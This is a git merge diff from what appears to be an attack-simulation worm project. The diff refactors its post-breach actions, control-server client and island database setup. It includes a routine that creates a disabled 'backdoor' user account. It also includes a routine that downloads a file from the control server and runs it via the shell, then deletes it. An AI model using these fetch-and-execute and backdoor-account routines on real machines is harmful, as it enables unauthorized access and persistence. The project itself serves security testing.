Merge branch 'develop' into feature/325-notification-when-done
This commit is contained in:
commit
6f814c59a7
|
@ -20,7 +20,6 @@ class Configuration(object):
|
|||
# now we won't work at <2.7 for sure
|
||||
network_import = importlib.import_module('infection_monkey.network')
|
||||
exploit_import = importlib.import_module('infection_monkey.exploit')
|
||||
post_breach_import = importlib.import_module('infection_monkey.post_breach')
|
||||
|
||||
unknown_items = []
|
||||
for key, value in formatted_data.items():
|
||||
|
@ -37,9 +36,6 @@ class Configuration(object):
|
|||
elif key == 'exploiter_classes':
|
||||
class_objects = [getattr(exploit_import, val) for val in value]
|
||||
setattr(self, key, class_objects)
|
||||
elif key == 'post_breach_actions':
|
||||
class_objects = [getattr(post_breach_import, val) for val in value]
|
||||
setattr(self, key, class_objects)
|
||||
else:
|
||||
if hasattr(self, key):
|
||||
setattr(self, key, value)
|
||||
|
@ -205,6 +201,7 @@ class Configuration(object):
|
|||
# exploiters config
|
||||
###########################
|
||||
|
||||
should_exploit = True
|
||||
skip_exploit_if_file_exist = False
|
||||
|
||||
ms08_067_exploit_attempts = 5
|
||||
|
|
|
@ -20,6 +20,12 @@ requests.packages.urllib3.disable_warnings()
|
|||
LOG = logging.getLogger(__name__)
|
||||
DOWNLOAD_CHUNK = 1024
|
||||
|
||||
PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
|
||||
|
||||
# random number greater than 5,
|
||||
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
|
||||
TIMEOUT_IN_SECONDS = 15
|
||||
|
||||
|
||||
class ControlClient(object):
|
||||
proxies = {}
|
||||
|
@ -73,7 +79,7 @@ class ControlClient(object):
|
|||
requests.get("https://%s/api?action=is-up" % (server,),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=TIMEOUT)
|
||||
timeout=TIMEOUT_IN_SECONDS)
|
||||
WormConfiguration.current_server = current_server
|
||||
break
|
||||
|
||||
|
@ -303,3 +309,13 @@ class ControlClient(object):
|
|||
target_addr, target_port = None, None
|
||||
|
||||
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
|
||||
|
||||
@staticmethod
|
||||
def get_pba_file(filename):
|
||||
try:
|
||||
return requests.get(PBA_FILE_DOWNLOAD %
|
||||
(WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
except requests.exceptions.RequestException:
|
||||
return False
|
||||
|
|
|
@ -51,7 +51,6 @@ class MonkeyDrops(object):
|
|||
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
|
||||
|
||||
def start(self):
|
||||
|
||||
if self._config['destination_path'] is None:
|
||||
LOG.error("No destination path specified")
|
||||
return False
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
{
|
||||
"should_exploit": true,
|
||||
"command_servers": [
|
||||
"192.0.2.0:5000"
|
||||
],
|
||||
|
|
|
@ -98,6 +98,7 @@ def main():
|
|||
except OSError:
|
||||
pass
|
||||
LOG_CONFIG['handlers']['file']['filename'] = log_path
|
||||
# noinspection PyUnresolvedReferences
|
||||
LOG_CONFIG['root']['handlers'].append('file')
|
||||
else:
|
||||
del LOG_CONFIG['handlers']['file']
|
||||
|
|
|
@ -121,10 +121,7 @@ class InfectionMonkey(object):
|
|||
system_info = system_info_collector.get_info()
|
||||
ControlClient.send_telemetry("system_info_collection", system_info)
|
||||
|
||||
for action_class in WormConfiguration.post_breach_actions:
|
||||
action = action_class()
|
||||
action.act()
|
||||
|
||||
# Executes post breach actions
|
||||
PostBreach().execute()
|
||||
|
||||
if 0 == WormConfiguration.depth:
|
||||
|
@ -183,16 +180,17 @@ class InfectionMonkey(object):
|
|||
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
|
||||
|
||||
# Order exploits according to their type
|
||||
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
|
||||
host_exploited = False
|
||||
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
|
||||
if self.try_exploiting(machine, exploiter):
|
||||
host_exploited = True
|
||||
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
|
||||
break
|
||||
if not host_exploited:
|
||||
self._fail_exploitation_machines.add(machine)
|
||||
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
|
||||
if WormConfiguration.should_exploit:
|
||||
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
|
||||
host_exploited = False
|
||||
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
|
||||
if self.try_exploiting(machine, exploiter):
|
||||
host_exploited = True
|
||||
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
|
||||
break
|
||||
if not host_exploited:
|
||||
self._fail_exploitation_machines.add(machine)
|
||||
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
|
||||
if not self._keep_running:
|
||||
break
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ def main():
|
|||
a = Analysis(['main.py'],
|
||||
pathex=['..'],
|
||||
hiddenimports=get_hidden_imports(),
|
||||
hookspath=None,
|
||||
hookspath=['./pyinstaller_hooks'],
|
||||
runtime_hooks=None,
|
||||
binaries=None,
|
||||
datas=None,
|
||||
|
|
|
@ -1,4 +1 @@
|
|||
__author__ = 'danielg'
|
||||
|
||||
|
||||
from add_user import BackdoorUser
|
||||
|
|
|
@ -0,0 +1,11 @@
|
|||
from os.path import dirname, basename, isfile, join
|
||||
import glob
|
||||
|
||||
|
||||
def get_pba_files():
|
||||
"""
|
||||
Gets all files under current directory(/actions)
|
||||
:return: list of all files without .py ending
|
||||
"""
|
||||
files = glob.glob(join(dirname(__file__), "*.py"))
|
||||
return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')]
|
|
@ -0,0 +1,19 @@
|
|||
import datetime
|
||||
from infection_monkey.post_breach.pba import PBA
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
|
||||
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
|
||||
WormConfiguration.user_to_add]
|
||||
|
||||
WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
|
||||
WormConfiguration.remote_user_pass,
|
||||
'/add', '/ACTIVE:NO']
|
||||
|
||||
|
||||
class BackdoorUser(PBA):
|
||||
def __init__(self):
|
||||
super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=LINUX_COMMANDS, windows_cmd=WINDOWS_COMMANDS)
|
|
@ -0,0 +1,91 @@
|
|||
import os
|
||||
import logging
|
||||
|
||||
from infection_monkey.utils import is_windows_os
|
||||
from infection_monkey.post_breach.pba import PBA
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
# Default commands for executing PBA file and then removing it
|
||||
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
|
||||
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
|
||||
|
||||
DIR_CHANGE_WINDOWS = 'cd %s & '
|
||||
DIR_CHANGE_LINUX = 'cd %s ; '
|
||||
|
||||
|
||||
class UsersPBA(PBA):
|
||||
"""
|
||||
Defines user's configured post breach action.
|
||||
"""
|
||||
def __init__(self):
|
||||
super(UsersPBA, self).__init__("File execution")
|
||||
self.filename = ''
|
||||
if not is_windows_os():
|
||||
# Add linux commands to PBA's
|
||||
if WormConfiguration.PBA_linux_filename:
|
||||
if WormConfiguration.custom_PBA_linux_cmd:
|
||||
# Add change dir command, because user will try to access his file
|
||||
self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
|
||||
self.filename = WormConfiguration.PBA_linux_filename
|
||||
else:
|
||||
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
|
||||
self.command = DEFAULT_LINUX_COMMAND.format(file_path)
|
||||
self.filename = WormConfiguration.PBA_linux_filename
|
||||
elif WormConfiguration.custom_PBA_linux_cmd:
|
||||
self.command = WormConfiguration.custom_PBA_linux_cmd
|
||||
else:
|
||||
# Add windows commands to PBA's
|
||||
if WormConfiguration.PBA_windows_filename:
|
||||
if WormConfiguration.custom_PBA_windows_cmd:
|
||||
# Add change dir command, because user will try to access his file
|
||||
self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
|
||||
self.filename = WormConfiguration.PBA_windows_filename
|
||||
else:
|
||||
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
|
||||
self.command = DEFAULT_WINDOWS_COMMAND.format(file_path)
|
||||
self.filename = WormConfiguration.PBA_windows_filename
|
||||
elif WormConfiguration.custom_PBA_windows_cmd:
|
||||
self.command = WormConfiguration.custom_PBA_windows_cmd
|
||||
|
||||
def _execute_default(self):
|
||||
if self.filename:
|
||||
UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
|
||||
return super(UsersPBA, self)._execute_default()
|
||||
|
||||
@staticmethod
|
||||
def should_run(class_name):
|
||||
if not is_windows_os():
|
||||
if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd:
|
||||
return True
|
||||
else:
|
||||
if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd:
|
||||
return True
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def download_pba_file(dst_dir, filename):
|
||||
"""
|
||||
Handles post breach action file download
|
||||
:param dst_dir: Destination directory
|
||||
:param filename: Filename
|
||||
:return: True if successful, false otherwise
|
||||
"""
|
||||
|
||||
pba_file_contents = ControlClient.get_pba_file(filename)
|
||||
|
||||
if not pba_file_contents or not pba_file_contents.content:
|
||||
LOG.error("Island didn't respond with post breach file.")
|
||||
return False
|
||||
try:
|
||||
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
||||
written_PBA_file.write(pba_file_contents.content)
|
||||
return True
|
||||
except IOError as e:
|
||||
LOG.error("Can not upload post breach file to target machine: %s" % e)
|
||||
return False
|
|
@ -1,52 +0,0 @@
|
|||
import datetime
|
||||
import logging
|
||||
import subprocess
|
||||
import sys
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
# Linux doesn't have WindowsError
|
||||
try:
|
||||
WindowsError
|
||||
except NameError:
|
||||
WindowsError = None
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
|
||||
class BackdoorUser(object):
|
||||
"""
|
||||
This module adds a disabled user to the system.
|
||||
This tests part of the ATT&CK matrix
|
||||
"""
|
||||
|
||||
def act(self):
|
||||
LOG.info("Adding a user")
|
||||
try:
|
||||
if sys.platform.startswith("win"):
|
||||
retval = self.add_user_windows()
|
||||
else:
|
||||
retval = self.add_user_linux()
|
||||
if retval != 0:
|
||||
LOG.warn("Failed to add a user")
|
||||
else:
|
||||
LOG.info("Done adding user")
|
||||
except OSError:
|
||||
LOG.exception("Exception while adding a user")
|
||||
|
||||
@staticmethod
|
||||
def add_user_linux():
|
||||
cmd_line = ['useradd', '-M', '--expiredate',
|
||||
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
|
||||
WormConfiguration.user_to_add]
|
||||
retval = subprocess.call(cmd_line)
|
||||
return retval
|
||||
|
||||
@staticmethod
|
||||
def add_user_windows():
|
||||
cmd_line = ['net', 'user', WormConfiguration.user_to_add,
|
||||
WormConfiguration.remote_user_pass,
|
||||
'/add', '/ACTIVE:NO']
|
||||
retval = subprocess.call(cmd_line)
|
||||
return retval
|
|
@ -1,68 +0,0 @@
|
|||
from infection_monkey.post_breach.pba import PBA
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
import requests
|
||||
import os
|
||||
import logging
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
# Default commands for executing PBA file and then removing it
|
||||
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
|
||||
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
|
||||
|
||||
|
||||
class FileExecution(PBA):
|
||||
"""
|
||||
Defines user's file execution post breach action.
|
||||
"""
|
||||
def __init__(self, linux_command="", windows_command=""):
|
||||
self.linux_filename = WormConfiguration.PBA_linux_filename
|
||||
self.windows_filename = WormConfiguration.PBA_windows_filename
|
||||
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
|
||||
|
||||
def _execute_linux(self):
|
||||
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
|
||||
return super(FileExecution, self)._execute_linux()
|
||||
|
||||
def _execute_win(self):
|
||||
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
|
||||
return super(FileExecution, self)._execute_win()
|
||||
|
||||
def add_default_command(self, is_linux):
|
||||
"""
|
||||
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
|
||||
and finally deletes post breach file).
|
||||
Default commands are defined as globals in this module.
|
||||
:param is_linux: Boolean that indicates for which OS the command is being set.
|
||||
"""
|
||||
if is_linux:
|
||||
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
|
||||
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
|
||||
else:
|
||||
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
|
||||
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
|
||||
|
||||
@staticmethod
|
||||
def download_PBA_file(dst_dir, filename):
|
||||
"""
|
||||
Handles post breach action file download
|
||||
:param dst_dir: Destination directory
|
||||
:param filename: Filename
|
||||
:return: True if successful, false otherwise
|
||||
"""
|
||||
|
||||
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
|
||||
(WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
try:
|
||||
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
||||
written_PBA_file.write(PBA_file_contents.content)
|
||||
return True
|
||||
except IOError as e:
|
||||
LOG.error("Can not download post breach file to target machine, because %s" % e)
|
||||
return False
|
|
@ -1,7 +1,10 @@
|
|||
import logging
|
||||
from infection_monkey.control import ControlClient
|
||||
import subprocess
|
||||
import socket
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.utils import is_windows_os
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -12,57 +15,60 @@ class PBA(object):
|
|||
"""
|
||||
Post breach action object. Can be extended to support more than command execution on target machine.
|
||||
"""
|
||||
def __init__(self, name="unknown", linux_command="", windows_command=""):
|
||||
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
|
||||
"""
|
||||
:param name: Name of post breach action.
|
||||
:param linux_command: Command that will be executed on linux machine
|
||||
:param windows_command: Command that will be executed on windows machine
|
||||
:param command: Command that will be executed on breached machine
|
||||
"""
|
||||
self.linux_command = linux_command
|
||||
self.windows_command = windows_command
|
||||
self.command = PBA.choose_command(linux_cmd, windows_cmd)
|
||||
self.name = name
|
||||
|
||||
def run(self, is_linux):
|
||||
def get_pba(self):
|
||||
"""
|
||||
Runs post breach action command
|
||||
:param is_linux: boolean that indicates on which os monkey is running
|
||||
This method returns a PBA object based on a worm's configuration.
|
||||
Return None or False if you don't want the pba to be executed.
|
||||
:return: A pba object.
|
||||
"""
|
||||
if is_linux:
|
||||
command = self.linux_command
|
||||
exec_funct = self._execute_linux
|
||||
else:
|
||||
command = self.windows_command
|
||||
exec_funct = self._execute_win
|
||||
if command:
|
||||
hostname = socket.gethostname()
|
||||
ControlClient.send_telemetry('post_breach', {'command': command,
|
||||
'result': exec_funct(),
|
||||
'name': self.name,
|
||||
'hostname': hostname,
|
||||
'ip': socket.gethostbyname(hostname)
|
||||
})
|
||||
|
||||
def _execute_linux(self):
|
||||
"""
|
||||
Default linux PBA execution function. Override it if additional functionality is needed
|
||||
"""
|
||||
return self._execute_default(self.linux_command)
|
||||
|
||||
def _execute_win(self):
|
||||
"""
|
||||
Default linux PBA execution function. Override it if additional functionality is needed
|
||||
"""
|
||||
return self._execute_default(self.windows_command)
|
||||
return self
|
||||
|
||||
@staticmethod
|
||||
def _execute_default(command):
|
||||
def should_run(class_name):
|
||||
"""
|
||||
Decides if post breach action is enabled in config
|
||||
:return: True if it needs to be ran, false otherwise
|
||||
"""
|
||||
return class_name in WormConfiguration.post_breach_actions
|
||||
|
||||
def run(self):
|
||||
"""
|
||||
Runs post breach action command
|
||||
"""
|
||||
exec_funct = self._execute_default
|
||||
result = exec_funct()
|
||||
hostname = socket.gethostname()
|
||||
ControlClient.send_telemetry('post_breach', {'command': self.command,
|
||||
'result': result,
|
||||
'name': self.name,
|
||||
'hostname': hostname,
|
||||
'ip': socket.gethostbyname(hostname)})
|
||||
|
||||
def _execute_default(self):
|
||||
"""
|
||||
Default post breach command execution routine
|
||||
:param command: What command to execute
|
||||
:return: Tuple of command's output string and boolean, indicating if it succeeded
|
||||
"""
|
||||
try:
|
||||
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
|
||||
return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True
|
||||
except subprocess.CalledProcessError as e:
|
||||
# Return error output of the command
|
||||
return e.output, False
|
||||
|
||||
@staticmethod
|
||||
def choose_command(linux_cmd, windows_cmd):
|
||||
"""
|
||||
Helper method that chooses between linux and windows commands.
|
||||
:param linux_cmd:
|
||||
:param windows_cmd:
|
||||
:return: Command for current os
|
||||
"""
|
||||
return windows_cmd if is_windows_os() else linux_cmd
|
||||
|
|
|
@ -1,16 +1,15 @@
|
|||
import logging
|
||||
import infection_monkey.config
|
||||
from file_execution import FileExecution
|
||||
from pba import PBA
|
||||
import inspect
|
||||
import importlib
|
||||
from infection_monkey.post_breach.pba import PBA
|
||||
from infection_monkey.post_breach.actions import get_pba_files
|
||||
from infection_monkey.utils import is_windows_os
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
DIR_CHANGE_WINDOWS = 'cd %s & '
|
||||
DIR_CHANGE_LINUX = 'cd %s ; '
|
||||
PATH_TO_ACTIONS = "infection_monkey.post_breach.actions."
|
||||
|
||||
|
||||
class PostBreach(object):
|
||||
|
@ -19,65 +18,34 @@ class PostBreach(object):
|
|||
"""
|
||||
def __init__(self):
|
||||
self.os_is_linux = not is_windows_os()
|
||||
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
|
||||
self.pba_list = self.config_to_pba_list()
|
||||
|
||||
def execute(self):
|
||||
"""
|
||||
Executes all post breach actions.
|
||||
"""
|
||||
for pba in self.pba_list:
|
||||
pba.run(self.os_is_linux)
|
||||
pba.run()
|
||||
LOG.info("Post breach actions executed")
|
||||
|
||||
@staticmethod
|
||||
def config_to_pba_list(config):
|
||||
def config_to_pba_list():
|
||||
"""
|
||||
Returns a list of PBA objects generated from config.
|
||||
:param config: Monkey configuration
|
||||
Passes config to each post breach action class and aggregates results into a list.
|
||||
:return: A list of PBA objects.
|
||||
"""
|
||||
pba_list = []
|
||||
pba_list.extend(PostBreach.get_custom_PBA(config))
|
||||
|
||||
pba_files = get_pba_files()
|
||||
# Go through all of files in ./actions
|
||||
for pba_file in pba_files:
|
||||
# Import module from that file
|
||||
module = importlib.import_module(PATH_TO_ACTIONS + pba_file)
|
||||
# Get all classes in a module
|
||||
pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass)
|
||||
if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
|
||||
# Get post breach action object from class
|
||||
for pba_class in pba_classes:
|
||||
if pba_class.should_run(pba_class.__name__):
|
||||
pba = pba_class()
|
||||
pba_list.append(pba)
|
||||
return pba_list
|
||||
|
||||
@staticmethod
|
||||
def get_custom_PBA(config):
|
||||
"""
|
||||
Creates post breach actions depending on users input into 'custom post breach' config section
|
||||
:param config: monkey's configuration
|
||||
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
|
||||
"""
|
||||
custom_list = []
|
||||
file_pba = FileExecution()
|
||||
command_pba = PBA(name="Custom")
|
||||
|
||||
if not is_windows_os():
|
||||
# Add linux commands to PBA's
|
||||
if config.PBA_linux_filename:
|
||||
if config.custom_PBA_linux_cmd:
|
||||
# Add change dir command, because user will try to access his file
|
||||
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
|
||||
else:
|
||||
file_pba.add_default_command(is_linux=True)
|
||||
elif config.custom_PBA_linux_cmd:
|
||||
command_pba.linux_command = config.custom_PBA_linux_cmd
|
||||
else:
|
||||
# Add windows commands to PBA's
|
||||
if config.PBA_windows_filename:
|
||||
if config.custom_PBA_windows_cmd:
|
||||
# Add change dir command, because user will try to access his file
|
||||
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
|
||||
config.custom_PBA_windows_cmd
|
||||
else:
|
||||
file_pba.add_default_command(is_linux=False)
|
||||
elif config.custom_PBA_windows_cmd:
|
||||
command_pba.windows_command = config.custom_PBA_windows_cmd
|
||||
|
||||
# Add PBA's to list
|
||||
if file_pba.linux_command or file_pba.windows_command:
|
||||
custom_list.append(file_pba)
|
||||
if command_pba.windows_command or command_pba.linux_command:
|
||||
custom_list.append(command_pba)
|
||||
|
||||
return custom_list
|
||||
|
|
|
@ -0,0 +1,6 @@
|
|||
from PyInstaller.utils.hooks import collect_submodules, collect_data_files
|
||||
|
||||
# Import all actions as modules
|
||||
hiddenimports = collect_submodules('infection_monkey.post_breach.actions')
|
||||
# Add action files that we enumerate
|
||||
datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True))
|
|
@ -29,11 +29,12 @@ from monkey_island.cc.resources.telemetry import Telemetry
|
|||
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
||||
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
|
||||
from monkey_island.cc.resources.version_update import VersionUpdate
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.database import Database
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||
from monkey_island.cc.resources.pba_file_upload import FileUpload
|
||||
from monkey_island.cc.resources.attack_telem import AttackTelem
|
||||
from monkey_island.cc.resources.attack_config import AttackConfiguration
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -97,7 +98,7 @@ def init_app_services(app):
|
|||
|
||||
with app.app_context():
|
||||
database.init()
|
||||
ConfigService.init_config()
|
||||
Database.init_db()
|
||||
|
||||
# If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island.
|
||||
RemoteRunAwsService.init()
|
||||
|
@ -130,6 +131,7 @@ def init_api_resources(api):
|
|||
'/api/fileUpload/<string:file_type>?load=<string:filename>',
|
||||
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
|
||||
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
|
||||
api.add_resource(AttackConfiguration, '/api/attack')
|
||||
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
|
||||
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
|
||||
|
||||
|
|
|
@ -10,8 +10,8 @@ __author__ = 'itay.mizeretz'
|
|||
|
||||
|
||||
class User(object):
|
||||
def __init__(self, id, username, secret):
|
||||
self.id = id
|
||||
def __init__(self, user_id, username, secret):
|
||||
self.id = user_id
|
||||
self.username = username
|
||||
self.secret = secret
|
||||
|
||||
|
|
|
@ -10,13 +10,29 @@ class Environment(object):
|
|||
__metaclass__ = abc.ABCMeta
|
||||
|
||||
_ISLAND_PORT = 5000
|
||||
_MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland")
|
||||
_MONGO_DB_NAME = "monkeyisland"
|
||||
_MONGO_DB_HOST = "localhost"
|
||||
_MONGO_DB_PORT = 27017
|
||||
_MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME)))
|
||||
_DEBUG_SERVER = False
|
||||
_AUTH_EXPIRATION_TIME = timedelta(hours=1)
|
||||
|
||||
_testing = False
|
||||
|
||||
@property
|
||||
def testing(self):
|
||||
return self._testing
|
||||
|
||||
@testing.setter
|
||||
def testing(self, value):
|
||||
self._testing = value
|
||||
|
||||
_MONKEY_VERSION = "1.6.3"
|
||||
|
||||
|
||||
def __init__(self):
|
||||
self.config = None
|
||||
self._testing = False # Assume env is not for unit testing.
|
||||
|
||||
def set_config(self, config):
|
||||
self.config = config
|
||||
|
@ -56,3 +72,15 @@ class Environment(object):
|
|||
@abc.abstractmethod
|
||||
def get_auth_users(self):
|
||||
return
|
||||
|
||||
@property
|
||||
def mongo_db_name(self):
|
||||
return self._MONGO_DB_NAME
|
||||
|
||||
@property
|
||||
def mongo_db_host(self):
|
||||
return self._MONGO_DB_HOST
|
||||
|
||||
@property
|
||||
def mongo_db_port(self):
|
||||
return self._MONGO_DB_PORT
|
||||
|
|
|
@ -2,7 +2,10 @@ import json
|
|||
import logging
|
||||
import os
|
||||
|
||||
env = None
|
||||
|
||||
from monkey_island.cc.environment import standard
|
||||
from monkey_island.cc.environment import testing
|
||||
from monkey_island.cc.environment import aws
|
||||
from monkey_island.cc.environment import password
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
|
@ -14,11 +17,13 @@ logger = logging.getLogger(__name__)
|
|||
AWS = 'aws'
|
||||
STANDARD = 'standard'
|
||||
PASSWORD = 'password'
|
||||
TESTING = 'testing'
|
||||
|
||||
ENV_DICT = {
|
||||
STANDARD: standard.StandardEnvironment,
|
||||
AWS: aws.AwsEnvironment,
|
||||
PASSWORD: password.PasswordEnvironment,
|
||||
TESTING: testing.TestingEnvironment
|
||||
}
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,17 @@
|
|||
from monkey_island.cc.environment import Environment
|
||||
import monkey_island.cc.auth
|
||||
|
||||
|
||||
class TestingEnvironment(Environment):
|
||||
def __init__(self):
|
||||
super(TestingEnvironment, self).__init__()
|
||||
self.testing = True
|
||||
|
||||
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
|
||||
NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
|
||||
'8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
|
||||
|
||||
def get_auth_users(self):
|
||||
return [
|
||||
monkey_island.cc.auth.User(1, self.NO_AUTH_CREDS, self.NO_AUTH_CREDS)
|
||||
]
|
|
@ -0,0 +1,19 @@
|
|||
from mongoengine import connect
|
||||
|
||||
from monkey_island.cc.environment.environment import env
|
||||
|
||||
# This section sets up the DB connection according to the environment.
|
||||
# If testing, use mongomock which only emulates mongo. for more information, see
|
||||
# http://docs.mongoengine.org/guide/mongomock.html .
|
||||
# Otherwise, use an actual mongod instance with connection parameters supplied by env.
|
||||
if env.testing:
|
||||
connect('mongoenginetest', host='mongomock://localhost')
|
||||
else:
|
||||
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
|
||||
|
||||
# Order of importing matters here, for registering the embedded and referenced documents before using them.
|
||||
from config import Config
|
||||
from creds import Creds
|
||||
from monkey_ttl import MonkeyTtl
|
||||
from pba_results import PbaResults
|
||||
from monkey import Monkey
|
|
@ -0,0 +1,11 @@
|
|||
from mongoengine import EmbeddedDocument
|
||||
|
||||
|
||||
class Config(EmbeddedDocument):
|
||||
"""
|
||||
No need to define this schema here. It will change often and is already is defined in
|
||||
monkey_island.cc.services.config_schema.
|
||||
See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist
|
||||
"""
|
||||
meta = {'strict': False}
|
||||
pass
|
|
@ -0,0 +1,9 @@
|
|||
from mongoengine import EmbeddedDocument
|
||||
|
||||
|
||||
class Creds(EmbeddedDocument):
|
||||
"""
|
||||
TODO get an example of this data, and make it strict
|
||||
"""
|
||||
meta = {'strict': False}
|
||||
pass
|
|
@ -0,0 +1,60 @@
|
|||
"""
|
||||
Define a Document Schema for the Monkey document.
|
||||
"""
|
||||
import mongoengine
|
||||
from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, DateField, \
|
||||
ReferenceField
|
||||
|
||||
from monkey_island.cc.models.monkey_ttl import MonkeyTtl
|
||||
|
||||
|
||||
class Monkey(Document):
|
||||
"""
|
||||
This class has 2 main section:
|
||||
* The schema section defines the DB fields in the document. This is the data of the object.
|
||||
* The logic section defines complex questions we can ask about a single document which are asked multiple
|
||||
times, somewhat like an API.
|
||||
"""
|
||||
# SCHEMA
|
||||
guid = StringField(required=True)
|
||||
config = EmbeddedDocumentField('Config')
|
||||
creds = ListField(EmbeddedDocumentField('Creds'))
|
||||
dead = BooleanField()
|
||||
description = StringField()
|
||||
hostname = StringField()
|
||||
internet_access = BooleanField()
|
||||
ip_addresses = ListField(StringField())
|
||||
keepalive = DateField()
|
||||
